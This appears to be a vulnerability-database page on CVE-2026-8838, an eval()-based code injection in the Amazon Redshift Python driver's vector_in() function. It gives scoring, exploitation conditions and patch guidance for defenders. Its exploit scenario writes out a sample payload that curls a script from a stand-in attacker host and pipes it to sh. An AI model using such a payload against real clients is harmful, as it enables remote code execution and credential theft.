Skip to main content

Amazon Redshift Python Driver CVE-2026-8838

| EUVDEUVD-2026-30803 CRITICAL
Code Injection (CWE-94)
2026-05-18 AMZN GHSA-29h4-r29x-hchv
9.3
CVSS 4.0 · Vendor: AMZN
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Position rogue server or MITM on client path
  2. Delivery
    Lure or redirect Python client to attacker endpoint
  3. Exploit
    Return query result with vector column containing Python expression
  4. Execution
    Client vector_in() passes bytes to eval()
  5. Persist
    Arbitrary code executes in client Python process
  6. Impact
    Exfiltrate AWS credentials and pivot

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Code injection prevention, sandbox exec
MITRE ATT&CK

2 techniques across 2 tactics: Execution, Initial Access

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

The victim Python process must use amazon-redshift-python-driver at version 2.1.13 or earlier and must connect to and fetch results from a server the attacker controls or can tamper with on the wire - i.e. either a rogue Redshift/PostgreSQL-protocol endpoint that the client is induced to connect to, or an active man-in-the-middle position on a connection lacking TLS certificate verification (e.g. sslmode=disable, prefer, or require without verify-full). Exploitation additionally requires that a query be executed which returns a vector-typed column, since vector_in() is the only sink; the attacker controls the column contents but the client must trigger a result-set parse. Limiting factors: connections to legitimate AWS Redshift endpoints over properly validated TLS are not exposed unless the cluster itself is compromised, and the attack requires the attacker to be on the server side of the connection rather than reaching the client directly.

Impact

The CVSS 4.0 vector AV:N/AC:L/AT:N/PR:N/UI:N with VC:H/VI:H/VA:H reflects a network-reachable, low-complexity, unauthenticated path to full confidentiality, integrity, and availability impact on the client - appropriate for arbitrary code execution. However, the attack model is inverted from typical RCE: the attacker must control or intercept the *server* side of the connection, not the client side, which substantially limits the realistic exploit population to malicious Redshift endpoints, hijacked DNS, compromised network paths, or TLS-misconfigured deployments. EPSS data is not provided in the input, and the CVE is not listed in CISA KEV, so there is no public evidence of active exploitation; no public exploit identified at time of analysis. Net assessment: high severity for environments that connect to untrusted clusters or operate over untrusted networks, but lower urgency for deployments that exclusively connect to AWS-managed Redshift over verified TLS.

Exploit ScenarioDerived

An attacker who controls a rogue PostgreSQL-protocol endpoint advertising itself as Redshift, or who can perform a TLS-stripping or certificate-substitution attack on a client connection, returns a query result containing a vector-typed column whose payload is a Python expression such as __import__('os').system('curl attacker.tld/x|sh'). When the victim's Python script calls cursor.fetchall() or otherwise materializes the row, vector_in() invokes eval() on the attacker-controlled bytes and executes the embedded command inside the client process. No public exploit identified at time of analysis, but the primitive is trivial to weaponize given the documented eval() sink.

Act Now Prioritize within 24-48h. Why: CRITICAL severity.
Patch available 0.1% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – May 18, 2026

Remote code execution in the amazon-redshift-python-driver (versions prior to 2.1.14) allows a malicious or compromised Redshift server, or a man-in-the-middle attacker positioned on the network path, to execute arbitrary Python code on any client that connects. The root cause is unsafe use of Python's eval() against untrusted server-supplied data inside the vector_in() function. No public exploit identified at time of analysis, but the CVSS 4.0 base score of 9.3 and PR:N/UI:N vector make this a high-priority client-side supply-chain-style risk.

RemediationAI

Vendor-released patch: upgrade amazon-redshift-python-driver (redshift_connector) to version 2.1.14 or later via pip install --upgrade redshift_connector, as published at https://github.com/aws/amazon-redshift-python-driver/releases/tag/v2.1.14 and described in https://aws.amazon.com/security/security-bulletins/2026-033-aws/ and https://github.com/aws/amazon-redshift-python-driver/security/advisories/GHSA-29h4-r29x-hchv. Until the upgrade is rolled out, ensure all client connections use TLS with verified certificates (sslmode=verify-full) to eliminate the man-in-the-middle path, restrict the connector to connect only to known AWS-owned Redshift endpoints via VPC endpoints or strict egress allow-listing, and avoid using the driver against arbitrary or third-party PostgreSQL-protocol-compatible servers; these controls do not address a maliciously crafted column response from a trusted-but-compromised cluster, so patching remains the only complete fix.

Affected VersionsENISA

Amazon Redshift connector for Python 0 ≤2.1.13

Affected Packages

pypi redshift-connector fix: 2.1.14
euvd amazon_redshift_connector_for_python no fix

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 2 packages in pypi, euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The driver is the official AWS Python connector (cpe:2.3:a:aws:amazon_redshift_connector_for_python) used by data engineers, ETL pipelines, notebooks, and analytics workloads to communicate with Amazon Redshift clusters over the PostgreSQL wire protocol. The vulnerability is a textbook CWE-94 (Improper Control of Generation of Code, i.e. code injection): the vector_in() type-parsing routine passes server-delivered byte data to Python's built-in eval(), which interprets the input as a Python expression. Because eval() evaluates arbitrary expressions including function calls, any value returned by the server in a column of vector type is sufficient to invoke os.system, subprocess, __import__, or any other callable inside the client's Python process.

Know when Python gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (AMZN) PRIMARY 9.3 CRITICAL
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Primary rating from Vendor (AMZN) · only source for this CVE.

CVSS VectorVendor: AMZN

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
None
User Interaction
None
Vulnerable system: Confidentiality
High
Vulnerable system: Integrity
High
Vulnerable system: Availability
High
Subsequent system: Confidentiality
None
Subsequent system: Integrity
None
Subsequent system: Availability
None

Lifecycle Timeline

1
CVSS changed
May 18, 2026 - 21:22 NVD
9.8 (CRITICAL) 9.3 (CRITICAL)

DescriptionCVE.org

Unsafe use of Python's eval() on server-received data in the vector_in() function in amazon-redshift-python-driver before 2.1.14 allows a rogue server or man-in-the-middle actor to execute arbitrary code on the client.

To remediate this issue, users should upgrade to version 2.1.14.

Executive ViewAI

Why It Matters

The amazon-redshift-python-driver versions prior to 2.1.14 contain an unauthenticated remote code execution vulnerability that allows attackers to execute arbitrary code on any client connecting to a Redshift database. Organizations using this driver face immediate risk of data theft, system compromise, and operational disruption through either network-based attacks or compromised database servers.

Business Impact: Severe
Compensating Controls

Apply vendor patch.

Threat Intelligence Overview

EPSS Score
0.1%
Top 82% exploitable
Threat Intel
1
1 sources
Social Media
1
Sightings
Data Quality
7 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment GHSA CIRCL GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity CRITICAL
CISA KEV No
Public POC No
EPSS 0.1%
Patch available Yes
Active threat No
Deciding rule
CRITICAL severity
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Out-of-Cycle
Exploitation
None
System Exposure· derived
Open
Automatable
Yes
Human Impact
Very High
Technical Impact
Total

Priority Score

46
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +46
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Code Injection CRITICAL

Code injection occurs when an application accepts user input and passes it directly into a language interpreter or evaluator without proper sanitization.

Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.

More in Python

View all
CVE-2025-24016 CRITICAL POC
9.9 Feb 10

Wazuh SIEM platform versions 4.4.0 through 4.9.0 contain an unsafe deserialization vulnerability in the DistributedAPI t

CVE-2025-27520 CRITICAL POC
9.8 Apr 04

BentoML version 1.4.2 and earlier contains an unauthenticated remote code execution vulnerability through insecure deser

CVE-2025-2945 CRITICAL POC
9.9 Apr 03

pgAdmin 4 contains critical remote code execution vulnerabilities in the Query Tool download and Cloud Deployment endpoi

CVE-2013-5093 MEDIUM POC
6.8 Sep 27

The renderLocalView function in render/views.py in graphite-web in Graphite 0.9.5 through 0.9.10 uses the pickle Python

CVE-2025-32375 CRITICAL POC
9.8 Apr 09

BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Rated critica

CVE-2014-0224 HIGH POC
7.4 Jun 05

OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph

CVE-2024-21644 HIGH POC
7.5 Jan 08

pyLoad download manager version prior to 0.5.0b3.dev77 exposes the Flask SECRET_KEY through an unauthenticated endpoint.

CVE-2026-33017 CRITICAL POC
9.3 Mar 17

Langflow (a visual LLM pipeline builder) contains a critical unauthenticated code execution vulnerability (CVE-2026-3301

CVE-2017-9462 HIGH POC
8.8 Jun 06

In Mercurial before 4.1.3, "hg serve --stdio" allows remote authenticated users to launch the Python debugger, and conse

CVE-2026-49869 CRITICAL POC
10.0 Jun 26

Unauthenticated remote code execution affects Kestra OSS (the open-source event-driven orchestration platform) prior to

CVE-2026-39987 CRITICAL POC
9.3 Apr 08

Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/

CVE-2024-21645 MEDIUM POC
5.3 Jan 08

pyLoad is the free and open-source Download Manager written in pure Python. Rated medium severity (CVSS 5.3), this vulne

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy